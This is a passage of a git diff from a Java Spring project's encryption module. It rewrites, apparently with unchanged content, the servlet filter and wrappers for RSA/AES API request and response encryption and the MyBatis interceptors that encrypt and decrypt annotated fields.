a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/CryptoFilter.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/CryptoFilter.java @@ -1,110 +1,110 @@ -package org.dromara.common.encrypt.filter; - -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.*; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import org.dromara.common.core.constant.HttpStatus; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.annotation.ApiEncrypt; -import org.dromara.common.encrypt.properties.ApiDecryptProperties; -import org.springframework.http.HttpMethod; -import org.springframework.web.method.HandlerMethod; -import org.springframework.web.servlet.HandlerExceptionResolver; -import org.springframework.web.servlet.HandlerExecutionChain; -import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; - -import java.io.IOException; - - -/** - * Crypto 过滤器 - * - * @author wdhcr - */ -public class CryptoFilter implements Filter { - private final ApiDecryptProperties properties; - - public CryptoFilter(ApiDecryptProperties properties) { - this.properties = properties; - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { - HttpServletRequest servletRequest = (HttpServletRequest) request; - HttpServletResponse servletResponse = (HttpServletResponse) response; - // 获取加密注解 - ApiEncrypt apiEncrypt = this.getApiEncryptAnnotation(servletRequest); - boolean responseFlag = apiEncrypt != null && apiEncrypt.response(); - ServletRequest requestWrapper = null; - ServletResponse responseWrapper = null; - EncryptResponseBodyWrapper responseBodyWrapper = null; - - // 是否为 put 或者 post 请求 - if (HttpMethod.PUT.matches(servletRequest.getMethod()) || HttpMethod.POST.matches(servletRequest.getMethod())) { - // 是否存在加密标头 - String headerValue = servletRequest.getHeader(properties.getHeaderFlag()); - if (StringUtils.isNotBlank(headerValue)) { - // 请求解密 - requestWrapper = new DecryptRequestBodyWrapper(servletRequest, properties.getPrivateKey(), properties.getHeaderFlag()); - } else { - // 是否有注解,有就报错,没有放行 - if (ObjectUtil.isNotNull(apiEncrypt)) { - HandlerExceptionResolver exceptionResolver = SpringUtils.getBean("handlerExceptionResolver", HandlerExceptionResolver.class); - exceptionResolver.resolveException( - servletRequest, servletResponse, null, - new ServiceException("没有访问权限,请联系管理员授权", HttpStatus.FORBIDDEN)); - return; - } - } - } - - // 判断是否响应加密 - if (responseFlag) { - responseBodyWrapper = new EncryptResponseBodyWrapper(servletResponse); - responseWrapper = responseBodyWrapper; - } - - chain.doFilter( - ObjectUtil.defaultIfNull(requestWrapper, request), - ObjectUtil.defaultIfNull(responseWrapper, response)); - - if (responseFlag) { - servletResponse.reset(); - // 对原始内容加密 - String encryptContent = responseBodyWrapper.getEncryptContent( - servletResponse, properties.getPublicKey(), properties.getHeaderFlag()); - // 对加密后的内容写出 - servletResponse.getWriter().write(encryptContent); - } - } - - /** - * 获取 ApiEncrypt 注解 - */ - private ApiEncrypt getApiEncryptAnnotation(HttpServletRequest servletRequest) { - RequestMappingHandlerMapping handlerMapping = SpringUtils.getBean("requestMappingHandlerMapping", RequestMappingHandlerMapping.class); - // 获取注解 - try { - HandlerExecutionChain mappingHandler = handlerMapping.getHandler(servletRequest); - if (ObjectUtil.isNotNull(mappingHandler)) { - Object handler = mappingHandler.getHandler(); - if (ObjectUtil.isNotNull(handler)) { - // 从handler获取注解 - if (handler instanceof HandlerMethod handlerMethod) { - return handlerMethod.getMethodAnnotation(ApiEncrypt.class); - } - } - } - } catch (Exception e) { - return null; - } - return null; - } - - @Override - public void destroy() { - } -} +package org.dromara.common.encrypt.filter; + +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.*; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import org.dromara.common.core.constant.HttpStatus; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.annotation.ApiEncrypt; +import org.dromara.common.encrypt.properties.ApiDecryptProperties; +import org.springframework.http.HttpMethod; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.servlet.HandlerExceptionResolver; +import org.springframework.web.servlet.HandlerExecutionChain; +import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; + +import java.io.IOException; + + +/** + * Crypto 过滤器 + * + * @author wdhcr + */ +public class CryptoFilter implements Filter { + private final ApiDecryptProperties properties; + + public CryptoFilter(ApiDecryptProperties properties) { + this.properties = properties; + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + // 获取加密注解 + ApiEncrypt apiEncrypt = this.getApiEncryptAnnotation(servletRequest); + boolean responseFlag = apiEncrypt != null && apiEncrypt.response(); + ServletRequest requestWrapper = null; + ServletResponse responseWrapper = null; + EncryptResponseBodyWrapper responseBodyWrapper = null; + + // 是否为 put 或者 post 请求 + if (HttpMethod.PUT.matches(servletRequest.getMethod()) || HttpMethod.POST.matches(servletRequest.getMethod())) { + // 是否存在加密标头 + String headerValue = servletRequest.getHeader(properties.getHeaderFlag()); + if (StringUtils.isNotBlank(headerValue)) { + // 请求解密 + requestWrapper = new DecryptRequestBodyWrapper(servletRequest, properties.getPrivateKey(), properties.getHeaderFlag()); + } else { + // 是否有注解,有就报错,没有放行 + if (ObjectUtil.isNotNull(apiEncrypt)) { + HandlerExceptionResolver exceptionResolver = SpringUtils.getBean("handlerExceptionResolver", HandlerExceptionResolver.class); + exceptionResolver.resolveException( + servletRequest, servletResponse, null, + new ServiceException("没有访问权限,请联系管理员授权", HttpStatus.FORBIDDEN)); + return; + } + } + } + + // 判断是否响应加密 + if (responseFlag) { + responseBodyWrapper = new EncryptResponseBodyWrapper(servletResponse); + responseWrapper = responseBodyWrapper; + } + + chain.doFilter( + ObjectUtil.defaultIfNull(requestWrapper, request), + ObjectUtil.defaultIfNull(responseWrapper, response)); + + if (responseFlag) { + servletResponse.reset(); + // 对原始内容加密 + String encryptContent = responseBodyWrapper.getEncryptContent( + servletResponse, properties.getPublicKey(), properties.getHeaderFlag()); + // 对加密后的内容写出 + servletResponse.getWriter().write(encryptContent); + } + } + + /** + * 获取 ApiEncrypt 注解 + */ + private ApiEncrypt getApiEncryptAnnotation(HttpServletRequest servletRequest) { + RequestMappingHandlerMapping handlerMapping = SpringUtils.getBean("requestMappingHandlerMapping", RequestMappingHandlerMapping.class); + // 获取注解 + try { + HandlerExecutionChain mappingHandler = handlerMapping.getHandler(servletRequest); + if (ObjectUtil.isNotNull(mappingHandler)) { + Object handler = mappingHandler.getHandler(); + if (ObjectUtil.isNotNull(handler)) { + // 从handler获取注解 + if (handler instanceof HandlerMethod handlerMethod) { + return handlerMethod.getMethodAnnotation(ApiEncrypt.class); + } + } + } + } catch (Exception e) { + return null; + } + return null; + } + + @Override + public void destroy() { + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/DecryptRequestBodyWrapper.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/DecryptRequestBodyWrapper.java index 98f4bc7..bb2e101 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/DecryptRequestBodyWrapper.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/DecryptRequestBodyWrapper.java @@ -1,94 +1,94 @@ -package org.dromara.common.encrypt.filter; - -import cn.hutool.core.io.IoUtil; -import jakarta.servlet.ReadListener; -import jakarta.servlet.ServletInputStream; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletRequestWrapper; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.encrypt.utils.EncryptUtils; -import org.springframework.http.MediaType; - -import java.io.BufferedReader; -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.InputStreamReader; -import java.nio.charset.StandardCharsets; - -/** - * 解密请求参数工具类 - * - * @author wdhcr - */ -public class DecryptRequestBodyWrapper extends HttpServletRequestWrapper { - - private final byte[] body; - - public DecryptRequestBodyWrapper(HttpServletRequest request, String privateKey, String headerFlag) throws IOException { - super(request); - // 获取 AES 密码 采用 RSA 加密 - String headerRsa = request.getHeader(headerFlag); - String decryptAes = EncryptUtils.decryptByRsa(headerRsa, privateKey); - // 解密 AES 密码 - String aesPassword = EncryptUtils.decryptByBase64(decryptAes); - request.setCharacterEncoding(Constants.UTF8); - byte[] readBytes = IoUtil.readBytes(request.getInputStream(), false); - String requestBody = new String(readBytes, StandardCharsets.UTF_8); - // 解密 body 采用 AES 加密 - String decryptBody = EncryptUtils.decryptByAes(requestBody, aesPassword); - body = decryptBody.getBytes(StandardCharsets.UTF_8); - } - - @Override - public BufferedReader getReader() { - return new BufferedReader(new InputStreamReader(getInputStream())); - } - - - @Override - public int getContentLength() { - return body.length; - } - - @Override - public long getContentLengthLong() { - return body.length; - } - - @Override - public String getContentType() { - return MediaType.APPLICATION_JSON_VALUE; - } - - - @Override - public ServletInputStream getInputStream() { - final ByteArrayInputStream bais = new ByteArrayInputStream(body); - return new ServletInputStream() { - @Override - public int read() { - return bais.read(); - } - - @Override - public int available() { - return body.length; - } - - @Override - public boolean isFinished() { - return false; - } - - @Override - public boolean isReady() { - return false; - } - - @Override - public void setReadListener(ReadListener readListener) { - - } - }; - } -} +package org.dromara.common.encrypt.filter; + +import cn.hutool.core.io.IoUtil; +import jakarta.servlet.ReadListener; +import jakarta.servlet.ServletInputStream; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletRequestWrapper; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.encrypt.utils.EncryptUtils; +import org.springframework.http.MediaType; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.nio.charset.StandardCharsets; + +/** + * 解密请求参数工具类 + * + * @author wdhcr + */ +public class DecryptRequestBodyWrapper extends HttpServletRequestWrapper { + + private final byte[] body; + + public DecryptRequestBodyWrapper(HttpServletRequest request, String privateKey, String headerFlag) throws IOException { + super(request); + // 获取 AES 密码 采用 RSA 加密 + String headerRsa = request.getHeader(headerFlag); + String decryptAes = EncryptUtils.decryptByRsa(headerRsa, privateKey); + // 解密 AES 密码 + String aesPassword = EncryptUtils.decryptByBase64(decryptAes); + request.setCharacterEncoding(Constants.UTF8); + byte[] readBytes = IoUtil.readBytes(request.getInputStream(), false); + String requestBody = new String(readBytes, StandardCharsets.UTF_8); + // 解密 body 采用 AES 加密 + String decryptBody = EncryptUtils.decryptByAes(requestBody, aesPassword); + body = decryptBody.getBytes(StandardCharsets.UTF_8); + } + + @Override + public BufferedReader getReader() { + return new BufferedReader(new InputStreamReader(getInputStream())); + } + + + @Override + public int getContentLength() { + return body.length; + } + + @Override + public long getContentLengthLong() { + return body.length; + } + + @Override + public String getContentType() { + return MediaType.APPLICATION_JSON_VALUE; + } + + + @Override + public ServletInputStream getInputStream() { + final ByteArrayInputStream bais = new ByteArrayInputStream(body); + return new ServletInputStream() { + @Override + public int read() { + return bais.read(); + } + + @Override + public int available() { + return body.length; + } + + @Override + public boolean isFinished() { + return false; + } + + @Override + public boolean isReady() { + return false; + } + + @Override + public void setReadListener(ReadListener readListener) { + + } + }; + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/EncryptResponseBodyWrapper.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/EncryptResponseBodyWrapper.java index 6b3b563..3ee298d 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/EncryptResponseBodyWrapper.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/filter/EncryptResponseBodyWrapper.java @@ -1,124 +1,124 @@ -package org.dromara.common.encrypt.filter; - -import cn.hutool.core.util.RandomUtil; -import jakarta.servlet.ServletOutputStream; -import jakarta.servlet.WriteListener; -import jakarta.servlet.http.HttpServletResponse; -import jakarta.servlet.http.HttpServletResponseWrapper; -import org.dromara.common.encrypt.utils.EncryptUtils; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.OutputStreamWriter; -import java.io.PrintWriter; -import java.nio.charset.StandardCharsets; - -/** - * 加密响应参数包装类 - * - * @author Michelle.Chung - */ -public class EncryptResponseBodyWrapper extends HttpServletResponseWrapper { - - private final ByteArrayOutputStream byteArrayOutputStream; - private final ServletOutputStream servletOutputStream; - private final PrintWriter printWriter; - - public EncryptResponseBodyWrapper(HttpServletResponse response) throws IOException { - super(response); - this.byteArrayOutputStream = new ByteArrayOutputStream(); - this.servletOutputStream = this.getOutputStream(); - this.printWriter = new PrintWriter(new OutputStreamWriter(byteArrayOutputStream)); - } - - @Override - public PrintWriter getWriter() { - return printWriter; - } - - @Override - public void flushBuffer() throws IOException { - if (servletOutputStream != null) { - servletOutputStream.flush(); - } - if (printWriter != null) { - printWriter.flush(); - } - } - - @Override - public void reset() { - byteArrayOutputStream.reset(); - } - - public byte[] getResponseData() throws IOException { - flushBuffer(); - return byteArrayOutputStream.toByteArray(); - } - - public String getContent() throws IOException { - flushBuffer(); - return byteArrayOutputStream.toString(); - } - - /** - * 获取加密内容 - * - * @param servletResponse response - * @param publicKey RSA公钥 (用于加密 AES 秘钥) - * @param headerFlag 请求头标志 - * @return 加密内容 - * @throws IOException - */ - public String getEncryptContent(HttpServletResponse servletResponse, String publicKey, String headerFlag) throws IOException { - // 生成秘钥 - String aesPassword = RandomUtil.randomString(32); - // 秘钥使用 Base64 编码 - String encryptAes = EncryptUtils.encryptByBase64(aesPassword); - // Rsa 公钥加密 Base64 编码 - String encryptPassword = EncryptUtils.encryptByRsa(encryptAes, publicKey); - - // 设置响应头 - servletResponse.addHeader("Access-Control-Expose-Headers", headerFlag); - servletResponse.setHeader(headerFlag, encryptPassword); - servletResponse.setHeader("Access-Control-Allow-Origin", "*"); - servletResponse.setHeader("Access-Control-Allow-Methods", "*"); - servletResponse.setCharacterEncoding(StandardCharsets.UTF_8.toString()); - - // 获取原始内容 - String originalBody = this.getContent(); - // 对内容进行加密 - return EncryptUtils.encryptByAes(originalBody, aesPassword); - } - - @Override - public ServletOutputStream getOutputStream() throws IOException { - return new ServletOutputStream() { - @Override - public boolean isReady() { - return false; - } - - @Override - public void setWriteListener(WriteListener writeListener) { - - } - - @Override - public void write(int b) throws IOException { - byteArrayOutputStream.write(b); - } - - @Override - public void write(byte[] b) throws IOException { - byteArrayOutputStream.write(b); - } - - @Override - public void write(byte[] b, int off, int len) throws IOException { - byteArrayOutputStream.write(b, off, len); - } - }; - } - -} +package org.dromara.common.encrypt.filter; + +import cn.hutool.core.util.RandomUtil; +import jakarta.servlet.ServletOutputStream; +import jakarta.servlet.WriteListener; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.servlet.http.HttpServletResponseWrapper; +import org.dromara.common.encrypt.utils.EncryptUtils; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.nio.charset.StandardCharsets; + +/** + * 加密响应参数包装类 + * + * @author Michelle.Chung + */ +public class EncryptResponseBodyWrapper extends HttpServletResponseWrapper { + + private final ByteArrayOutputStream byteArrayOutputStream; + private final ServletOutputStream servletOutputStream; + private final PrintWriter printWriter; + + public EncryptResponseBodyWrapper(HttpServletResponse response) throws IOException { + super(response); + this.byteArrayOutputStream = new ByteArrayOutputStream(); + this.servletOutputStream = this.getOutputStream(); + this.printWriter = new PrintWriter(new OutputStreamWriter(byteArrayOutputStream)); + } + + @Override + public PrintWriter getWriter() { + return printWriter; + } + + @Override + public void flushBuffer() throws IOException { + if (servletOutputStream != null) { + servletOutputStream.flush(); + } + if (printWriter != null) { + printWriter.flush(); + } + } + + @Override + public void reset() { + byteArrayOutputStream.reset(); + } + + public byte[] getResponseData() throws IOException { + flushBuffer(); + return byteArrayOutputStream.toByteArray(); + } + + public String getContent() throws IOException { + flushBuffer(); + return byteArrayOutputStream.toString(); + } + + /** + * 获取加密内容 + * + * @param servletResponse response + * @param publicKey RSA公钥 (用于加密 AES 秘钥) + * @param headerFlag 请求头标志 + * @return 加密内容 + * @throws IOException + */ + public String getEncryptContent(HttpServletResponse servletResponse, String publicKey, String headerFlag) throws IOException { + // 生成秘钥 + String aesPassword = RandomUtil.randomString(32); + // 秘钥使用 Base64 编码 + String encryptAes = EncryptUtils.encryptByBase64(aesPassword); + // Rsa 公钥加密 Base64 编码 + String encryptPassword = EncryptUtils.encryptByRsa(encryptAes, publicKey); + + // 设置响应头 + servletResponse.addHeader("Access-Control-Expose-Headers", headerFlag); + servletResponse.setHeader(headerFlag, encryptPassword); + servletResponse.setHeader("Access-Control-Allow-Origin", "*"); + servletResponse.setHeader("Access-Control-Allow-Methods", "*"); + servletResponse.setCharacterEncoding(StandardCharsets.UTF_8.toString()); + + // 获取原始内容 + String originalBody = this.getContent(); + // 对内容进行加密 + return EncryptUtils.encryptByAes(originalBody, aesPassword); + } + + @Override + public ServletOutputStream getOutputStream() throws IOException { + return new ServletOutputStream() { + @Override + public boolean isReady() { + return false; + } + + @Override + public void setWriteListener(WriteListener writeListener) { + + } + + @Override + public void write(int b) throws IOException { + byteArrayOutputStream.write(b); + } + + @Override + public void write(byte[] b) throws IOException { + byteArrayOutputStream.write(b); + } + + @Override + public void write(byte[] b, int off, int len) throws IOException { + byteArrayOutputStream.write(b, off, len); + } + }; + } + +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisDecryptInterceptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisDecryptInterceptor.java index 460aa36..61fc2c6 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisDecryptInterceptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisDecryptInterceptor.java @@ -1,120 +1,120 @@ -package org.dromara.common.encrypt.interceptor; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import lombok.AllArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.apache.ibatis.executor.resultset.ResultSetHandler; -import org.apache.ibatis.plugin.*; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.annotation.EncryptField; -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.core.EncryptorManager; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.properties.EncryptorProperties; - -import java.lang.reflect.Field; -import java.sql.Statement; -import java.util.*; - -/** - * 出参解密拦截器 - * - * @author 老马 - * @version 4.6.0 - */ -@Slf4j -@Intercepts({@Signature( - type = ResultSetHandler.class, - method = "handleResultSets", - args = {Statement.class}) -}) -@AllArgsConstructor -public class MybatisDecryptInterceptor implements Interceptor { - - private final EncryptorManager encryptorManager; - private final EncryptorProperties defaultProperties; - - @Override - public Object intercept(Invocation invocation) throws Throwable { - // 获取执行mysql执行结果 - Object result = invocation.proceed(); - if (result == null) { - return null; - } - decryptHandler(result); - return result; - } - - /** - * 解密对象 - * - * @param sourceObject 待加密对象 - */ - private void decryptHandler(Object sourceObject) { - if (ObjectUtil.isNull(sourceObject)) { - return; - } - if (sourceObject instanceof Map map) { - new HashSet<>(map.values()).forEach(this::decryptHandler); - return; - } - if (sourceObject instanceof List list) { - if(CollUtil.isEmpty(list)) { - return; - } - // 判断第一个元素是否含有注解。如果没有直接返回,提高效率 - Object firstItem = list.get(0); - if (ObjectUtil.isNull(firstItem) || CollUtil.isEmpty(encryptorManager.getFieldCache(firstItem.getClass()))) { - return; - } - list.forEach(this::decryptHandler); - return; - } - // 不在缓存中的类,就是没有加密注解的类(当然也有可能是typeAliasesPackage写错) - Set fields = encryptorManager.getFieldCache(sourceObject.getClass()); - if(ObjectUtil.isNull(fields)){ - return; - } - try { - for (Field field : fields) { - field.set(sourceObject, this.decryptField(Convert.toStr(field.get(sourceObject)), field)); - } - } catch (Exception e) { - log.error("处理解密字段时出错", e); - } - } - - /** - * 字段值进行加密。通过字段的批注注册新的加密算法 - * - * @param value 待加密的值 - * @param field 待加密字段 - * @return 加密后结果 - */ - private String decryptField(String value, Field field) { - if (ObjectUtil.isNull(value)) { - return null; - } - EncryptField encryptField = field.getAnnotation(EncryptField.class); - EncryptContext encryptContext = new EncryptContext(); - encryptContext.setAlgorithm(encryptField.algorithm() == AlgorithmType.DEFAULT ? defaultProperties.getAlgorithm() : encryptField.algorithm()); - encryptContext.setEncode(encryptField.encode() == EncodeType.DEFAULT ? defaultProperties.getEncode() : encryptField.encode()); - encryptContext.setPassword(StringUtils.isBlank(encryptField.password()) ? defaultProperties.getPassword() : encryptField.password()); - encryptContext.setPrivateKey(StringUtils.isBlank(encryptField.privateKey()) ? defaultProperties.getPrivateKey() : encryptField.privateKey()); - encryptContext.setPublicKey(StringUtils.isBlank(encryptField.publicKey()) ? defaultProperties.getPublicKey() : encryptField.publicKey()); - return this.encryptorManager.decrypt(value, encryptContext); - } - - @Override - public Object plugin(Object target) { - return Plugin.wrap(target, this); - } - - @Override - public void setProperties(Properties properties) { - - } -} +package org.dromara.common.encrypt.interceptor; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.apache.ibatis.executor.resultset.ResultSetHandler; +import org.apache.ibatis.plugin.*; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.annotation.EncryptField; +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.core.EncryptorManager; +import org.dromara.common.encrypt.enumd.AlgorithmType; +import org.dromara.common.encrypt.enumd.EncodeType; +import org.dromara.common.encrypt.properties.EncryptorProperties; + +import java.lang.reflect.Field; +import java.sql.Statement; +import java.util.*; + +/** + * 出参解密拦截器 + * + * @author 老马 + * @version 4.6.0 + */ +@Slf4j +@Intercepts({@Signature( + type = ResultSetHandler.class, + method = "handleResultSets", + args = {Statement.class}) +}) +@AllArgsConstructor +public class MybatisDecryptInterceptor implements Interceptor { + + private final EncryptorManager encryptorManager; + private final EncryptorProperties defaultProperties; + + @Override + public Object intercept(Invocation invocation) throws Throwable { + // 获取执行mysql执行结果 + Object result = invocation.proceed(); + if (result == null) { + return null; + } + decryptHandler(result); + return result; + } + + /** + * 解密对象 + * + * @param sourceObject 待加密对象 + */ + private void decryptHandler(Object sourceObject) { + if (ObjectUtil.isNull(sourceObject)) { + return; + } + if (sourceObject instanceof Map map) { + new HashSet<>(map.values()).forEach(this::decryptHandler); + return; + } + if (sourceObject instanceof List list) { + if(CollUtil.isEmpty(list)) { + return; + } + // 判断第一个元素是否含有注解。如果没有直接返回,提高效率 + Object firstItem = list.get(0); + if (ObjectUtil.isNull(firstItem) || CollUtil.isEmpty(encryptorManager.getFieldCache(firstItem.getClass()))) { + return; + } + list.forEach(this::decryptHandler); + return; + } + // 不在缓存中的类,就是没有加密注解的类(当然也有可能是typeAliasesPackage写错) + Set fields = encryptorManager.getFieldCache(sourceObject.getClass()); + if(ObjectUtil.isNull(fields)){ + return; + } + try { + for (Field field : fields) { + field.set(sourceObject, this.decryptField(Convert.toStr(field.get(sourceObject)), field)); + } + } catch (Exception e) { + log.error("处理解密字段时出错", e); + } + } + + /** + * 字段值进行加密。通过字段的批注注册新的加密算法 + * + * @param value 待加密的值 + * @param field 待加密字段 + * @return 加密后结果 + */ + private String decryptField(String value, Field field) { + if (ObjectUtil.isNull(value)) { + return null; + } + EncryptField encryptField = field.getAnnotation(EncryptField.class); + EncryptContext encryptContext = new EncryptContext(); + encryptContext.setAlgorithm(encryptField.algorithm() == AlgorithmType.DEFAULT ? defaultProperties.getAlgorithm() : encryptField.algorithm()); + encryptContext.setEncode(encryptField.encode() == EncodeType.DEFAULT ? defaultProperties.getEncode() : encryptField.encode()); + encryptContext.setPassword(StringUtils.isBlank(encryptField.password()) ? defaultProperties.getPassword() : encryptField.password()); + encryptContext.setPrivateKey(StringUtils.isBlank(encryptField.privateKey()) ? defaultProperties.getPrivateKey() : encryptField.privateKey()); + encryptContext.setPublicKey(StringUtils.isBlank(encryptField.publicKey()) ? defaultProperties.getPublicKey() : encryptField.publicKey()); + return this.encryptorManager.decrypt(value, encryptContext); + } + + @Override + public Object plugin(Object target) { + return Plugin.wrap(target, this); + } + + @Override + public void setProperties(Properties properties) { + + } +} diff --git a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisEncryptInterceptor.java b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisEncryptInterceptor.java index bcc2f4c..b2ad5c7 100644 --- a/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisEncryptInterceptor.java +++ b/ruoyi-common/ruoyi-common-encrypt/src/main/java/org/dromara/common/encrypt/interceptor/MybatisEncryptInterceptor.java @@ -1,124 +1,124 @@ -package org.dromara.common.encrypt.interceptor; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.util.ObjectUtil; -import lombok.AllArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.apache.ibatis.executor.parameter.ParameterHandler; -import org.apache.ibatis.plugin.Interceptor; -import org.apache.ibatis.plugin.Intercepts; -import org.apache.ibatis.plugin.Invocation; -import org.apache.ibatis.plugin.Signature; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.encrypt.annotation.EncryptField; -import org.dromara.common.encrypt.core.EncryptContext; -import org.dromara.common.encrypt.core.EncryptorManager; -import org.dromara.common.encrypt.enumd.AlgorithmType; -import org.dromara.common.encrypt.enumd.EncodeType; -import org.dromara.common.encrypt.properties.EncryptorProperties; - -import java.lang.reflect.Field; -import java.sql.PreparedStatement; -import java.util.*; - -/** - * 入参加密拦截器 - * - * @author 老马 - * @version 4.6.0 - */ -@Slf4j -@Intercepts({@Signature( - type = ParameterHandler.class, - method = "setParameters", - args = {PreparedStatement.class}) -}) -@AllArgsConstructor -public class MybatisEncryptInterceptor implements Interceptor { - - private final EncryptorManager encryptorManager; - private final EncryptorProperties defaultProperties; - - @Override - public Object intercept(Invocation invocation) throws Throwable { - return invocation; - } - - @Override - public Object plugin(Object target) { - if (target instanceof ParameterHandler parameterHandler) { - // 进行加密操作 - Object parameterObject = parameterHandler.getParameterObject(); - if (ObjectUtil.isNotNull(parameterObject) && !(parameterObject instanceof String)) { - this.encryptHandler(parameterObject); - } - } - return target; - } - - /** - * 加密对象 - * - * @param sourceObject 待加密对象 - */ - private void encryptHandler(Object sourceObject) { - if (ObjectUtil.isNull(sourceObject)) { - return; - } - if (sourceObject instanceof Map map) { - new HashSet<>(map.values()).forEach(this::encryptHandler); - return; - } - if (sourceObject instanceof List list) { - if(CollUtil.isEmpty(list)) { - return; - } - // 判断第一个元素是否含有注解。如果没有直接返回,提高效率 - Object firstItem = list.get(0); - if (ObjectUtil.isNull(firstItem) || CollUtil.isEmpty(encryptorManager.getFieldCache(firstItem.getClass()))) { - return; - } - list.forEach(this::encryptHandler); - return; - } - // 不在缓存中的类,就是没有加密注解的类(当然也有可能是typeAliasesPackage写错) - Set fields = encryptorManager.getFieldCache(sourceObject.getClass()); - if(ObjectUtil.isNull(fields)){ - return; - } - try { - for (Field field : fields) { - field.set(sourceObject, this.encryptField(Convert.toStr(field.get(sourceObject)), field)); - } - } catch (Exception e) { - log.error("处理加密字段时出错", e); - } - } - - /** - * 字段值进行加密。通过字段的批注注册新的加密算法 - * - * @param value 待加密的值 - * @param field 待加密字段 - * @return 加密后结果 - */ - private String encryptField(String value, Field field) { - if (ObjectUtil.isNull(value)) { - return null; - } - EncryptField encryptField = field.getAnnotation(EncryptField.class); - EncryptContext encryptContext = new EncryptContext(); - encryptContext.setAlgorithm(encryptField.algorithm() == AlgorithmType.DEFAULT ? defaultProperties.getAlgorithm() : encryptField.algorithm()); - encryptContext.setEncode(encryptField.encode() == EncodeType.DEFAULT ? defaultProperties.getEncode() : encryptField.encode()); - encryptContext.setPassword(StringUtils.isBlank(encryptField.password()) ? defaultProperties.getPassword() : encryptField.password()); - encryptContext.setPrivateKey(StringUtils.isBlank(encryptField.privateKey()) ? defaultProperties.getPrivateKey() : encryptField.privateKey()); - encryptContext.setPublicKey(StringUtils.isBlank(encryptField.publicKey()) ? defaultProperties.getPublicKey() : encryptField.publicKey()); - return this.encryptorManager.encrypt(value, encryptContext); - } - - - @Override - public void setProperties(Properties properties) { - } -} +package org.dromara.common.encrypt.interceptor; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.core.util.ObjectUtil; +import lombok.AllArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.apache.ibatis.executor.parameter.ParameterHandler; +import org.apache.ibatis.plugin.Interceptor; +import org.apache.ibatis.plugin.Intercepts; +import org.apache.ibatis.plugin.Invocation; +import org.apache.ibatis.plugin.Signature; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.encrypt.annotation.EncryptField; +import org.dromara.common.encrypt.core.EncryptContext; +import org.dromara.common.encrypt.core.EncryptorManager; +import 